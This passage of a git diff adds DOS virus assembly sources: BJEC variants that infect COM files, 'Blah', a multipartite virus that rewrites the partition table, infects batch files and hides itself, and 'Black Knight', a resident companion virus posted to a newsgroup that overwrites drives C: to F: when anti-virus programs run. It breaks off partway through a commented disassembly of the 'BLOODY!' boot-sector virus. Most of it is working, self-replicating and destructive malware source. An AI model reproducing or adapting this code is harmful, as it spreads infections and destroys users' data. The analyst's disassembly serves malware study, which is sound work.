JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/b/BJEC-8.ASM b/b/BJEC-8.ASM new file mode 100755 index 0000000..7eccf08 --- /dev/null +++ b/b/BJEC-8.ASM @@ -0,0 +1,183 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + mov ah,2ah + int 21h + mov ds:[0f2h],dx ; + mov ds:[0f4h],cx ; save system date + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + jne cont0 ; if file name CO*.com then skip + jmp fin + +cont0: + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + jna cont2 + jmp fin + +cont2: + mov cx,ds:[98h] + and cx,001fh + mov dl,cl + mov ax,ds:[98h] + and ax,01e0h + mov cl,5 + sar ax,cl + mov dh,al + mov ax,ds:[98h] + and ax,0fe00h + mov cl,9 + sar ax,cl + mov cx,ax + add cx,1980 + mov ah,2bh + int 21h ; set system time + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + mov dx,ds:[0f2h] + mov cx,ds:[0f4h] + mov ah,2bh + int 21h + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/b/BJEC-9.ASM b/b/BJEC-9.ASM new file mode 100755 index 0000000..4b00899 --- /dev/null +++ b/b/BJEC-9.ASM @@ -0,0 +1,189 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + mov ah,2ah + int 21h + mov ds:[0f2h],dx ; + mov ds:[0f4h],cx ; save system date + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + jne cont0 ; if file name CO*.com then skip + jmp fin + +cont0: + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + jna cont2 + jmp fin + +cont2: + mov cx,ds:[98h] + and cx,001fh + mov dl,cl + mov ax,ds:[98h] + and ax,01e0h + mov cl,5 + sar ax,cl + mov dh,al + mov ax,ds:[98h] + and ax,0fe00h + mov cl,9 + sar ax,cl + mov cx,ax + add cx,1980 + mov ah,2bh + int 21h ; set system time + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + cmp ax,9090h + je fin ; if file inf. then skip this file + cmp ax,'ZM' + je fin ; if file .COM is EXE then skip + + mov di,dx + mov cx,ds:[0fch] +NEWS: + or cx,cx + js cont + mov al,'M' + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + jmp news + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + mov dx,ds:[0f2h] + mov cx,ds:[0f4h] + mov ah,2bh + int 21h + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk \ No newline at end of file diff --git a/b/BLAH.ASM b/b/BLAH.ASM new file mode 100755 index 0000000..ff1d781 --- /dev/null +++ b/b/BLAH.ASM @@ -0,0 +1,681 @@ + .model tiny + .code + .radix 16 + + org 0 +our_buffer label byte + + org 80 +line label byte + + org 100 + +viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f +resK = (end_all - our_buffer + 3ff) / 400 +resP = resK * 40 +sector_length = (heap - blah + 1ff) / 200 + +blah: xor bp,bp + xor si,si + + cmp [si],20CDh ; check if there is a PSP + jz in_com ; to see if we are in COM or + ; boot (don't just check SP + ; since COM might not load in + ; a full segment if memory is + ; sparse) + inc bp + +; hey! we're in the boot sector or the partition table +; assume in partition table for the time being + push si + cli + pop ss + mov sp,-2 ; doesn't really matter + sti + + mov ax,200 + sector_length + mov es,si + mov bx,7c00 + 200 + mov cx,2 + mov dx,80 + int 13 + + mov dx,0f800 + + db 0ea + dw offset install, 7b0 + +in_com: mov dx,0f904 + + mov ah,62 ; get the PSP + int 21 ; also tells existing copies + ; to disable themselves + ; (for NetWare compatability) + dec bx ; go to MCB so we can + mov ds,bx ; twiddle with it + + sub word ptr [si+3],resP ; reserve two K of memory + sub word ptr [si+12],resP ; in DOS for the virus + +install: mov cs:init_flag,dl + mov byte ptr cs:i13_patch,dh + + mov ds,si ; reserve two K of memory + mov dx,word ptr ds:413 + sub dx,resK + mov word ptr ds:413,dx ; from the BIOS count + mov cl,6 + shl dx,cl ; K -> paragraph + + les ax,ds:84 + mov cs:old_i21,ax + mov cs:old_i21+2,es + + les ax,ds:4c + mov cs:old_i13,ax + mov cs:old_i13+2,es + + mov es,dx + push cs + pop ds + mov si,offset blah + mov di,si + mov cx,(offset end_zopy - blah + 1) / 2 + rep movsw + + mov es,cx + + mov es:4c,offset i13 + mov es:4e,dx + + or bp,bp + jz exit_com + +exit_boot: mov ax,201 ; read the original partition + xor cx,cx ; table to 0:7C00 + mov dx,80 ; since the i13 handler is in + mov es,cx ; place, we can load from where + inc cx ; the partition table should + mov bx,7c00 ; be, instead of where it + pushf + push es bx ; actually is + jmp dword ptr [bp+4bh] ; int 13 / iret + +exit_com: mov es:84,offset i21 + mov es:86,dx + +infect_hd: push ax cx dx bx ds es + + push cs cs + pop es ds + + mov ax,201 + mov bx,100 + (sector_length*200) + mov cx,1 + mov dx,80 + call call_i13 ; get original partition table + + adj_ofs = (100 + (sector_length*200)) + + cmp word ptr cs:[adj_ofs+decoder-blah],'e@' + jz already_infected + + mov al,ds:[adj_ofs+1C0] + cbw + or ax,ds:[adj_ofs+1C2] + jnz enough_room + cmp byte ptr ds:[adj_ofs+1C1],sector_length+1 + jbe already_infected ; not enough room for virus + +enough_room: mov ax,301 + sector_length ; write to disk + mov bx,100 ; cx = 1, dx = 80 already + call call_i13 + +already_infected: + pop es ds bx dx cx ax + ret + + db 'Blah virus',0 + db '(DA/PS)',0 + +; I indulged myself in writing the decoder; it's rather much larger than it +; needs to be. This was so I could insert random text strings into the code. +; The decoder creates a file which, when run, will execute the encoded file. +; In this case, we are encoding the virus. See the beginning for a complete +; explanation of how the virus works. +decoder db '@echo PSBAT!PS' +fsize dw -1 * (heap - blah) + db 'XYZUS 2Hج,AêMt t>',0ba,'.com',0Dh,0A + db '@echo 2YP󤫸2૾PSDBDA' +endline: db '>>',0ba,'.com',0Dh,0A +; The next line is to ease the coding. This way, the same number of statements +; pass between the running of the temporary program and the reloading of the +; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running +; the temporary file installs the virus into memory. Note the following lines +; are never seen by the command interpreter if the virus is already resident. +enddecoder: db '@if %0. == . ',0ba,0Dh,0A + db '@',0ba,0Dh,0A + db '@del ',0ba,'.com',0Dh,0A +; The next line is necessary because autoexec.bat is loaded with %0 == NULL +; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT, +; which would be a shame. + db '@if %0. == . autoexec',0Dh,0A + db '@%0',0Dh,0A +endcleanup: + +chain_i13: push [bp+6] + call dword ptr cs:old_i13 + pushf + pop [bp+6] + ret + +call_i13: pushf + call dword ptr cs:old_i13 + ret + +write: mov ah,40 +calli21: pushf + call dword ptr cs:old_i21 + ret + +check_signature:and word ptr es:[di+15],0 + push es di cs cs + pop ds es + mov ah,3f + cwd ; mov dx,offset our_buffer + mov cx,enddecoder - decoder + call calli21 + + cld + mov si,offset decoder + mov di,dx + mov cx,enddecoder - decoder + rep cmpsb + + pop di es + ret + + +i13: clc ; this is patched to + jnc i13_patch ; disable the i13 handler + jmp disabled_i13 ; this is a stupid hiccup + +i13_patch: clc ; this is patched to once + jc multipartite_installed ; i21 is installed + + push ax bx ds es + + mov ax,0AA55 ; offset 02FE of the virus + ; this is the PT signature + + xor ax,ax + mov es,ax + + lds bx,es:84 + mov ax,ds + cmp ax,cs:old_i21+2 + jz not_DOS_yet + or ax,ax ; Gets set to address in zero + jz not_DOS_yet ; segment temporarily. ignore. + cmp ax,800 + ja not_DOS_yet + cmp ax,es:28*4+2 ; make sure int 28 handler + jnz not_DOS_yet ; the same (OS == DOS?) + cmp bx,cs:old_i21 + jz not_DOS_yet +install_i21: push cs + pop ds + mov ds:old_i21,bx + mov ds:old_i21+2,ax + mov es:84,offset i21 + mov es:86,cs + inc byte ptr ds:i13_patch +not_DOS_yet: pop es ds bx ax +multipartite_installed: + push bp + mov bp,sp + + cmp cx,sector_length + 1 ; working on virus area? + ja jmp_i13 + + cmp dx,80 + jnz jmp_i13 + + cmp ah,2 ; reading partition table? + jz stealth_i13 +not_read: cmp ah,3 ; write over partition table? + jnz jmp_i13 + call infect_hd + + push si cx bx ax + + mov al,1 + + cmp cl,al ; are we working on partition + jnz not_write_pt ; table at all? + + mov cx,sector_length + 1 + call chain_i13 + jc alt_exit_i13 + +not_write_pt: pop ax + push ax + + cbw + sub al,sector_length + 2 ; calculate number of remaining + add al,cl ; sectors to write + js alt_exit_i13 + jz alt_exit_i13 + + push cx + sub cx,sector_length + 2 ; calculate number of sectors + neg cx ; skipped +addd: add bh,2 ; and adjust buffer pointer + loop addd ; accordingly + pop cx + + or ah,1 ; ah = 1 so rest_stealth makes + jmp short rest_stealth ; it a write + +jmp_i13: pop bp +disabled_i13: jmp dword ptr cs:old_i13 + +stealth_i13: push si cx bx ax + call infect_hd + + mov si,bx + + mov al,1 + + cmp cl,al + jnz not_read_pt + + mov cx,sector_length + 1 + call chain_i13 + jc alt_exit_i13 + + add bh,2 ; adjust buffer ptr + +not_read_pt: pop ax + push ax + push di ax + mov di,bx + mov ah,0 + add al,cl + + cmp al,sector_length + 2 + jb not_reading_more + mov al,sector_length + 2 +not_reading_more:cmp cl,1 + jnz not_pt + dec ax +not_pt: sub al,cl + jz dont_do_it ; resist temptation! + + mov cl,8 + shl ax,cl ; zero out sectors + mov cx,ax + cbw ; clear ax + rep stosw + mov bx,di ; adjust buffer + +dont_do_it: pop ax di + mov ah,0 + + mov cl,9 + sub si,bx + neg si + shr si,cl + sub ax,si + jz alt_exit_i13 + +rest_stealth: sub ax,-200 + mov cx,sector_length + 2 + call chain_i13 + +alt_exit_i13: pop bx + mov al,bl + pop bx cx si bp + iret + +i24: mov al,3 + iret + +chain_i21: push [bp+6] ; push flags on stack again + call dword ptr cs:old_i21 + pushf ; put flags back onto caller's + pop [bp+6] ; interrupt stack area + ret + +infect_bat: mov cx,200 ; conquer the holy batch file! +move_up: sub bp,cx + jns $+6 + add cx,bp + xor bp,bp + mov es:[di+15],bp ; move file pointer + + mov ah,3f ; read in portion of the file + mov dx,offset big_buffer + call calli21 + + add word ptr es:[di+15],viruslength + sub word ptr es:[di+15],ax + call write ; move the data up + + or bp,bp + jnz move_up + +move_up_done: mov word ptr es:[di+15],bp ; go to start of file + + mov cx,enddecoder - decoder + mov dx,offset decoder + call write + + push es di cs + pop es + + mov bp,heap - blah + mov si,offset blah +encode_lines: mov di,offset line + mov cx,20 +encode_line: lodsb + push ax + and ax,0F0 + inc ax + stosb + pop ax + and ax,0F + add al,'A' + stosb + dec bp + jz finished_line + loop encode_line + +finished_line: mov cx,6 + mov dx,offset decoder + call write + + mov cx,di + mov dx,offset line + sub cx,dx + call write + + mov cx,enddecoder-endline + mov dx,offset endline + call write + + or bp,bp + jnz encode_lines + + pop di es + + mov cx,endcleanup - enddecoder + mov dx,offset enddecoder + call write + + ret + +; check neither extension nor timestamp in case file was renamed or +; something like that + +; will hang without this stealth because of the line +; @%0 that it adds to batch files +handle_read: push es di si ax cx dx ds bx + + xor si,si + + cmp cs:init_flag,0 + jnz dont_alter_read + + mov ax,1220 + int 2f + jc dont_alter_read + + xor bx,bx + mov bl,es:di + mov ax,1216 + int 2f ; es:di now -> sft + jc dont_alter_read + + pop bx ; restore the file handle + push bx + + push es:[di+15] ; save current offset + + call check_signature + mov si,viruslength + pop bx + jz hide_read + xor si,si +hide_read: add bx,si + mov es:[di+15],bx +dont_alter_read:pop bx ds dx cx ax + + call chain_i21 + + sub es:[di+15],si + + pop si di es +_iret: pop bp + iret + +handle_open: cmp cs:init_flag,0 + jz keep_going + dec cs:init_flag +keep_going: call chain_i21 + jc _iret + push ax cx dx bp si di ds es + + xchg si,ax ; filehandle to si + + mov ax,3524 + int 21 + push es bx ; save old int 24 handler + + xchg bx,si ; filehandle back to bx + push bx + mov si,dx ; ds:si->filename + + push ds + mov ax,2524 ; set new int 24 handler + push cs + pop ds + mov dx,offset i24 + call calli21 + pop ds + + cld + +find_extension: lodsb ; scan filename for extension + or al,al ; no extension? + jz dont_alter_open + cmp al,'.' ; extension? + jnz find_extension + + lodsw ; check if it's .bat + or ax,2020 + cmp ax,'ab' + jnz dont_alter_open + lodsb + or al,20 + cmp al,'t' + jnz dont_alter_open + + mov ax,1220 ; if so, get jft entry + int 2f + jc dont_alter_open + + xor bx,bx + mov bl,es:di + mov ax,1216 ; now get SFT + int 2f + jc dont_alter_open + + pop bx ; recover file handle + push bx + + mov bp,word ptr es:[di+11] ; save file size + or bp,bp + jz dont_alter_open + + mov byte ptr es:[di+2],2 ; change open mode to r/w + mov ax,word ptr es:[di+0dh] ; get file time + and ax,not 1f ; set the seconds field + or ax,1f + mov word ptr es:[di+0dh],ax + + call check_signature + jz dont_alter1open ; infected already! + + call infect_bat + +dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time + and word ptr es:[di+15],0 + mov byte ptr es:[di+2],0 ; restore file open mode +dont_alter_open:pop bx dx ds + mov ax,2524 + call calli21 + pop es ds di si bp dx cx ax bp + iret + +findfirstnext: call chain_i21 ; standard file length + push ax bx si ds es ; hiding + cmp al,-1 + jz dont_alter_fffn + + mov ah,2f ; get the DTA to es:bx + int 21 + push es + pop ds + cmp byte ptr [bx],-1 + jnz not_extended + add bx,7 +; won't hide if extension is changed, but otherwise gives it away by disk +; accesses +not_extended: cmp word ptr [bx+9],'AB' + jnz dont_alter_fffn + cmp byte ptr [bx+0bh],'T' + jnz dont_alter_fffn + cmp word ptr [bx+1dh],viruslength + jb dont_alter_fffn + mov al,[bx+17] + and al,1f + cmp al,1f + jnz dont_alter_fffn + and byte ptr [bx+17],not 1f + sub word ptr [bx+1dh],viruslength +dont_alter_fffn:pop es ds si bx ax bp + iret + +inst_check: cmp bx,0f904 + jnz jmp_i21 + push si di cx + mov si,offset blah + mov di,100 + mov cx,offset i13 - offset blah + db 2e + rep cmpsb + jnz not_inst + + inc byte ptr cs:i13 ; disable existing copy of + inc byte ptr cs:i21 ; the virus + +not_inst: pop si di cx + jmp short jmp_i21 +i21: clc + jc disabled_i21 + push bp + mov bp,sp + cmp ah,11 + jz findfirstnext + cmp ah,12 + jz findfirstnext + cmp ah,62 + jz inst_check + cmp ax,3d00 + jnz not_open + jmp handle_open +not_open: cmp ah,3f + jnz jmp_i21 + jmp handle_read + + +jmp_i21: pop bp +disabled_i21: db 0ea ; call original int 21 +heap: ; g +old_i21 dw ?, ? ; handler +old_i13 dw ?, ? +init_flag db ? + +end_zopy: + org 100 + ((end_zopy - blah + 1ff) / 200) * 200 +orig_PT db 200 dup (?) +big_buffer db 200 dup (?) +end_all: + + end blah + +; The complimentary decoder included with every copy of blah + + .model tiny + .code + .radix 16 + org 100 + +decode: db 'PSBAT!' ; translates to some random code + + mov di,offset buffer + db 0bdh ; mov bp, datasize +datasize dw 'Y0' + + db 'XYZ' ; more text that is also code + + neg bp + push bp + mov si,offset databytes +keep_going: mov cx,2020 + xor ch,cl +decode_line: lodsb + dec ax ; tens digit + mov bx,ax + lodsb + sub al,'A' + add ax,bx + stosb + + dec bp + jz all_done + loop decode_line +all_done: or bp,bp + jz no_more + lodsw ; skip CRLF + jmp keep_going + + db 0Dh,0A ; split file into two lines + +no_more: mov ax,0fcfc + xor ah,al + pop cx ; how many bytes to move + push ax + xchg ax,di + mov ax,0a4f3 + stosw + mov ax,0ebebh ; flush prefetch queue + xor ah,al + stosw + + mov si,offset buffer + mov di,100 + 4144 + sub di,'AD' + + retn + + db 0Dh,0Ah ; split the file s'more + +databytes: + + org 5350 ; 50/53 == P/S +buffer: + + end decode diff --git a/b/BLKNIGHT.ASM b/b/BLKNIGHT.ASM new file mode 100755 index 0000000..49d17b5 --- /dev/null +++ b/b/BLKNIGHT.ASM @@ -0,0 +1,391 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994 +Xref: netcom.com alt.comp.virus:508 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: BlackKnight Virus (ANTI AV VIRUS) +Date: 29 Nov 1994 13:09:23 GMT +Organization: Netcom +Lines: 376 +Distribution: world +Message-ID: <3bf963$idi@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + +;Black Knight Anti-Virus-Virus +;Size - 520 +; +;Tasm BKNIGHT +;Tlink /T BKNIGHT +;Memory Resident Companion Virus +;Anti-Anti-Virus +;Formats Drives C: to F: When Anti-Virus Product Is Ran +;Tempest - _ Of Luxenburg +; + + .radix 16 + cseg segment + model small + assume cs:cseg, ds:cseg, es:cseg + + org 100h + +oi21 equ endit +filelength equ endit - begin +nameptr equ endit+4 +DTA equ endit+8 + + + + + + +begin: jmp virus_install + +virus_name: + db 'Black Knight' + + + ;install +virus_install: + nop + nop + nop + mov ax,cs ; reduce memory size + + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a + jne cancel + mov ax,ds:[0003] + sub ax,100 + mov ds:0003,ax +Zopy_virus: + mov bx,ax ; copy to claimed block + + mov ax,es + add ax,bx + mov es,ax + mov cx,offset endit - begin + mov ax,ds + inc ax + mov ds,ax + lea si,ds:[begin] + lea di,es:0100 + rep movsb + + + +Grab_21: + + mov ds,cx ; hook int 21h + mov si,0084h ; + mov di,offset oi21 + mov dx,offset check_exec + lodsw + cmp ax,dx ; + je cancel ; exit, if already +installed + stosw + movsw + + push es + pop ds + mov ax,2521h ; revector int 21h to +virus + nop + int 21h + nop + +cancel: ret + +check_exec: + pushf + + push es ; push everything onto +the + push ds ; stack + push ax + push bx + push dx + + cmp ax,04B00h ; is the file being + + + + jne abort ; executed? + + + + + ;if yes, try the_stinger +do_infect: call infect ; then try to infect + + + + +abort: ; restore everything + pop dx + pop bx + pop ax + pop ds + pop es + popf + +Bye_Bye: + ; exit + jmp dword ptr cs:[oi21] + + +new_24h: + mov al,3 ; critical error handler + iret + +infect: + mov cs:[name_seg],ds ; here, the virus +essentially + mov cs:[name_off],dx ; copies the name of the + + cld ; loaded file into a +buffer + mov di,dx ; so that it can be +compared + push ds ; against the default +names + pop es ; in the_stinger + mov al,'.' ; subroutine + repne scasb ; <-- + + call the_stinger ; check for anti-virus +load + ; and deploy the_stinger + + + + cld + mov word ptr cs:[nameptr],dx + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh + int 21h + push es + push bx + + push cs + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21h + + call searchpoint + push di + mov si,offset COM_txt + + mov cx,3 + rep cmpsb + pop di + jz do_com + mov si,offset EXE_txt + nop + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt + nop + call change_ext + mov ax,3300h + nop + int 21h + push dx + + cwd + inc ax + push ax + int 21h + +Grab24h: + + mov ax,3524h + int 21h + push bx + push es + push cs + pop ds + mov dx,offset new_24h + mov ah,25h + push ax + int 21h + + + lds dx,dword ptr [nameptr] ;create the virus +(unique name) + xor cx,cx + mov ah,05Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + + + push cs + pop ds + mov cx,filelength ;cx= length of virus + mov dx,offset begin ;where to start copying + mov ah,40h ;write the virus to the + int 21h ;new file + + mov ah,3Eh ; close + int 21h + +return1: pop ax + pop ds + pop dx + int 21h + + pop ax + pop dx + int 21h + + mov si,offset EXE_txt + call change_ext + +return: mov ah,1Ah + pop dx + pop ds + int 21H + + ret + +do_com: call findfirst + cmp word ptr cs:[DTA+1Ah],endit - begin + jne return + mov si,offset EXE_txt + call change_ext + call findfirst + jnc return + mov si,offset COM_txt + call change_ext + jmp short return + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21h + ret + +the_stinger: + cmp word ptr es:[di-3],'MI' ;Integrity Master + je jumptoass + + cmp word ptr es:[di-3],'XR' ;VIRX + je jumptoass + + cmp word ptr es:[di-3],'PO' ;VIRUSTOP + jne next1 + cmp word ptr es:[di-5],'TS' + je jumptoass + +next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV + je jumptoass + + cmp word ptr es:[di-3],'TO' ;*prot = F-prot + jne next2 + cmp word ptr es:[di-5],'RP' + je jumptoass + +next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's +Scan. + jne next3 + cmp word ptr es:[di-5],'CS' + je jumptoass + + cmp word ptr es:[di-3],'NA' ;*lean = McAfee's +CLEAN. + jne next3 ; why not, eh? + cmp word ptr es:[di-5],'EL' + je jumptoass +next3: ret +jumptoass: jmp nuke ;assassination (deletion) + ; of anti-virus program + + + +nuke: + mov al,2 ;Lets Total The C: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + mov al,3 ;Lets Total The D: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + mov al,3 ;Lets Total The E: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + + mov al,5 ;Lets Total The F: Drive + mov cx,25 + cli ; Keeps Victim From +Aborting + cwd + int 026h + sti + + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + + +data_1 db 0 +data_2 db 0 + +last db 090H +name_seg dw ? +name_off dw ? + +c1 db 0 +c2 db 0 +c3 db 0 +c4 db 0 +c5 db 0 +virus_man: db 'Tempest - _ Of Luxenburg' + +endit: + + +cseg ends + end begin + + + + + diff --git a/b/BLOODY.ASM b/b/BLOODY.ASM new file mode 100755 index 0000000..51e3188 --- /dev/null +++ b/b/BLOODY.ASM @@ -0,0 +1,280 @@ + +; BLOODY! virus +; +; Discovered an commented by Ferenc Leitold +; Hungarian VirusBuster Team +; Address: 1399 Budapest +; P.O. box 701/349 +; HUNGARY + + +217D:0100 2EFF2E177C JMP Far CS:[7C17] +217D:0105 E9B500 JMP 01BD ; Jump to main entry point + +217D:0108 00 db 0 ; Counter +217D:0109 00 db 0 +217D:010A 00 db 0 ; Flag: + ; 00 : floppy + ; 80 : hard disk +217D:010B 00 db 0 + +217D:010C A100F0 MOV AX,[F000] + +217D:010F 0301809F DW 0103H,9F80H ; Entry point at TOP + +217D:0113 007C0000 DW 7C00H,0000H ; Address of orig. boot + +217D:0117 057C0000 DW 7C05H,0000H + +217D:011B 00000000 DW 0000H,0000H ; original INT13 vector + +;************************ INT13 entry point ***************************** + +217D:011F 80FC02 CMP AH,02 ; Check parameters +217D:0122 720D JC 0131 +217D:0124 80FC04 CMP AH,04 +217D:0127 7308 JNC 0131 +217D:0129 80FA80 CMP DL,80 +217D:012C 7303 JNC 0131 +217D:012E E80500 CALL 0136 ; Call, if AH=2,3 & DL!=80 +217D:0131 2EFF2E0B00 JMP Far CS:[000B] ; Jump to original INT13 + +217D:0136 50 PUSH AX ; Save registers +217D:0137 53 PUSH BX +217D:0138 51 PUSH CX +217D:0139 52 PUSH DX +217D:013A 06 PUSH ES +217D:013B 1E PUSH DS +217D:013C 56 PUSH SI +217D:013D 57 PUSH DI + +217D:013E 0E PUSH CS ; Set DS,ES to CS +217D:013F 1F POP DS +217D:0140 0E PUSH CS +217D:0141 07 POP ES + +217D:0142 BE0200 MOV SI,0002 ; 2 probe + +217D:0145 33C0 XOR AX,AX ; Reset drive +217D:0147 9C PUSHF +217D:0148 FF1E0B00 CALL Far [000B] ; Call INT13 +217D:014C B80102 MOV AX,0201 ; Read boot sector of floppy +217D:014F BB0002 MOV BX,0200 +217D:0152 B90100 MOV CX,0001 +217D:0155 32F6 XOR DH,DH +217D:0157 9C PUSHF +217D:0158 FF1E0B00 CALL Far [000B] ; Call INT13 +217D:015C 7305 JNC 0163 +217D:015E 4E DEC SI ; If error next probe +217D:015F 75E4 JNZ 0145 +217D:0161 EB2E JMP 0191 ; Jump, if 2 bad probes was + +217D:0163 33F6 XOR SI,SI ; Check boot sector, if +217D:0165 BF0002 MOV DI,0200 ; if infected yet +217D:0168 B90300 MOV CX,0003 +217D:016B FC CLD +217D:016C F3A7 REP CMPSW +217D:016E 7421 JZ 0191 ; Jump, if already infected + +217D:0170 B80103 MOV AX,0301 ; Write orig. boot sector +217D:0173 BB0002 MOV BX,0200 +217D:0176 B90300 MOV CX,0003 ; cyl: 0 sect: 3 +217D:0179 B601 MOV DH,01 ; head: 1 +217D:017B 9C PUSHF +217D:017C FF1E0B00 CALL Far [000B] ; Call INT13 +217D:0180 720F JC 0191 + +217D:0182 B80103 MOV AX,0301 ; Write infected boot sector +217D:0185 33DB XOR BX,BX +217D:0187 B90100 MOV CX,0001 ; cyl:0 sect:1 +217D:018A 32F6 XOR DH,DH ; head: 0 +217D:018C 9C PUSHF +217D:018D FF1E0B00 CALL Far [000B] + +217D:0191 5F POP DI ; Restore registers +217D:0192 5E POP SI +217D:0193 1F POP DS +217D:0194 07 POP ES +217D:0195 5A POP DX +217D:0196 59 POP CX +217D:0197 5B POP BX +217D:0198 58 POP AX +217D:0199 C3 RET + +217D:019A 1D1D1D1A3737 ; Coded text: +217D:01A0 37373737557B ; "\r\r\r\n Bloody! Jun. 4, 